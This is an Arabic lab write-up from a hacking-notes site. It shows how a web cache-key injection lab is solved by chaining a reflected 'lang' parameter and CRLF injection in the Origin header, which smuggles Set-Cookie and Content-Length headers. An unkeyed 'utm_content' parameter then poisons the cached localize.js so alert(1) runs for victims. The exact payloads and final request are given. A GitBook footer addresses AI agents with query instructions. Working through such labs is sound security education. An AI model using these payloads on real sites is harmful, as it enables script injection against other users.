> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-key-injection.md).

# حقن في مفتاح الذاكرة المؤقتة

### حقن مفتاح ذاكرة التخزين المؤقت

### الحقن في مفتاح ذاكرة التخزين المؤقت

نحتاج إلى دمج عدة ثغرات (بما في ذلك **حقن مفتاح ذاكرة التخزين المؤقت**) لتنفيذ **`alert(1)`** في متصفح الضحية. تتطلب المختبر استخدام الترويسة **`Pragma: x-get-cache-key`**.

<figure><img src="/files/08221b8bc0d24fa1b2e208fb1226044aeaf65a18" alt=""><figcaption></figcaption></figure>

#### الاستطلاع

1/) سلوك تسجيل الدخول

* لدينا لوحة اتصال.
* بعد تسجيل الدخول، تتم إعادة توجيهنا إلى **`/login/?lang=en`**.
* ثم يتم تعيين ملف تعريف ارتباط للجلسة.

<figure><img src="/files/fb0f00445d9547f53baff99fa3c3024e47ce1d72" alt=""><figcaption></figcaption></figure>

2/) انعكاس `lang` المعلمة

* يظهر إدخالنا في الاستجابة عبر `lang`:
* مثال: **`/login/?lang=HELLLOOOO`**

```bash
/login/?lang=HELLLOOOO
```

<figure><img src="/files/96cd9bc5840d3f16740130873389e38a6ca121ae" alt=""><figcaption></figcaption></figure>

إذا وضعنا وسوم HTML (مثل `<h1>`), **فإنه لا يعمل**: يوجد ترميز HTML\*\*.

<figure><img src="/files/cf78153cf1966c2c543cda9291e833e7347247a5" alt=""><figcaption></figcaption></figure>

#### نقطة الدخول التشغيلية

ملف JS مخفي: `localize.js`

```bash
/js/localize.js?lang=en&cors=0
```

نلاحظ سكربت في الخلفية:

* **`/js/localize.js?lang=en&CORS=0`**
* الاستجابة المرصودة:
* `document.cookie = 'lang=en';`

إذا غيّرنا `lang`، تُعكَس القيمة:

* **`/js/localize.js?lang=hello&CORS=0`** → `hello` يظهر في الاستجابة.

<figure><img src="/files/25695a2441d805e3d07b23049e6bbf8217ba9290" alt=""><figcaption></figcaption></figure>

### ملاحظة مفتاح ذاكرة التخزين المؤقت

نضيف:

```http
Pragma: x-get-cache-key
```

فنحصل على المفتاح:

* `X-Cache-Key: /js/localize.js?lang=en&CORS=0$$`

<figure><img src="/files/96e5ca3f697bbf07994505a39c3f32ad63156879" alt=""><figcaption></figcaption></figure>

نجد أن `CORS` يؤثر في المفتاح، وأنه عند التلاعب بـ **Origin** + `CORS`، يمكننا تغيير ما يدخل إلى ذاكرة التخزين المؤقت.

<figure><img src="/files/ee4656e54ae29b16e9f4b8a9001baef7d28bc498" alt=""><figcaption></figcaption></figure>

### حقن الترويسات عبر Back Cart

نستخدم حقن CRLF:

* `%0d%0a`

```
man ascii
```

<figure><img src="/files/6dee526b506b4a3767c7b76fbabd24b69594054f" alt=""><figcaption></figcaption></figure>

#### 1) اختبار: حقن ملف تعريف الارتباط

نرسل:

* `Origin: hello%0d%0aSet-Cookie:%20csrfKey=a`

النتيجة: يتم تفسير ملف تعريف الارتباط بشكل صحيح في جهة الاستجابة.

<figure><img src="/files/01c890dd50d4748f1afe78e18b0f99cddc822054" alt=""><figcaption></figcaption></figure>

#### حقن JavaScript عبر التلاعب بـ `Content-Length`

ثم نحاول حقن محتوى في الاستجابة باستخدام:

* `Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$`

في الاستجابة، نجد **`alert(1)`**.

<figure><img src="/files/4a115c8ec2b691b931d99307ef49b3d4f8f64f2e" alt=""><figcaption></figcaption></figure>

#### إنشاء استجابة مخفية مستهدفة

لكي يخزن الخادم هذه النسخة (مع `alert(1)`)، يجب أن **مفتاح ذاكرة التخزين المؤقت** يطابق صيغة تتضمن ما حقنّاه `Origin`، على سبيل المثال:

{% code overflow="wrap" %}

```http
X-Cache-Key: /js/localize.js?lang=hello&cors=1$$origin=hello%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
```

{% endcode %}

<figure><img src="/files/e79f2bb59b63f8b5b6ffe9e652ff3519a871c5e5" alt=""><figcaption></figcaption></figure>

#### إزاحة على جانب الضحية عبر معلمة متجاهلة

نبحث عن معلمة يتجاهلها التخزين المؤقت (تم العثور عليها باستخدام Param Miner):

* **`utm_content`**

نعيد استخدام مفتاح ذاكرة التخزين المؤقت ونضع الحمولة في `utm_content` لتقديم المورد المسموم أثناء زيارة `lang=en`.

الطلب النهائي (كما استخدمناه):

{% code overflow="wrap" %}

```bash
GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
```

{% endcode %}

<figure><img src="/files/daa39bd0b14f4162a3c0982d5beff6c0c03c73c9" alt=""><figcaption></figcaption></figure>

عندما يفتح الضحية الصفحة في **`/login/?lang=en`** (عبر إعادة التوجيه)، يتم تقديم المحتوى المسموم من ذاكرة التخزين المؤقت، و **`alert(1)`** يتم التنفيذ.

<figure><img src="/files/b8e38914ff3b276e1303e2c04ac7742b579868ad" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-key-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
